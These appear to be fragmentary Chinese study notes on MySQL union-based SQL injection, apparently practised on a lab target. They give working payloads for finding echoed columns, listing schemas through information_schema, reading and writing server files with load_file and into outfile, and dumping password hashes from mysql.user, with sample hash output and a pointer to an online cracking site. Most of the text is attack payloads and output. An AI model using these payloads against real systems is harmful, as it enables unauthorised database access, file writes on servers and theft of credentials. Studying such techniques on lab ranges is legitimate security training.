url测试回显
url:http://xxxxxxxx/? id=-1 union select 1,2,3,4
有时候数字是1,2,3 也有时候是1,2,3,4等等...不是很确定
对应的数字位如果回显,则那个位置存在构筑语句
#2 和 3位置回显
#http://xxxxxxxx/? id=-1 union select 1,2,3
select 1,sql语句,3 sql语句
我的例子:
使用靶场:
测试sql语句:
union select group_concat(schema_name) from information_schema.schemata
返回结果:
查证:
函数使用
前提
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
函数:load_file、into outfile
#读取路径文件
select load_file('文件路径');
#像指定路径创建文件并写入数据
select '写入的文本' into outfile '路径/文件';
常见的敏感信息路径 windows和linux
--这里使用了博主weixin_30292843的文章
Hash 获取与解密
假设存在 SQL 注入 DBA 权限,如果目标 3306 端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash 来解密:
# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host | user | password |
+-----------+------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| % | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+------+-------------------------------------------+
# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
+-----------+---------------+-------------------------------------------+
| host | user | authentication_string |
+-----------+---------------+-------------------------------------------+
| localhost | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
| localhost | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+--
---->我的机器:
去cmd5解密后:Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder